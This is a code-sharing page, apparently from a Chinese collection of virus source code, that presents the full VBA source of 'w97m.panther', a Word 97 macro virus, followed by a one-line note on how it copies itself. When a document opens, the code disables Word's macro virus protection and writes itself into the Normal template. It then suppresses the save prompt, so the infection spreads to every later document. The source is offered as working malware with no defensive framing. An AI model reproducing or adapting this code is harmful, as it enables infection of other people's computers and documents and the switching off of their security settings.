w97m.panther病毒 .txt

来自「病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码」· 文本 代码 · 共 39 行

TXT
39 行
字号
Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"

            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
            NormalTemplate.Save
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As S
tring, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    pre = prepre + prepost
    post = postpre + postpost
    index = 1
    preLen = Len(pre)
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLe
n)
        index = index + 1
    Wend
End Sub

PANTHER频繁使用字符串操作语句实现病毒体复制。病毒体位置:
MICROSOFT WORD对象代码区 

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?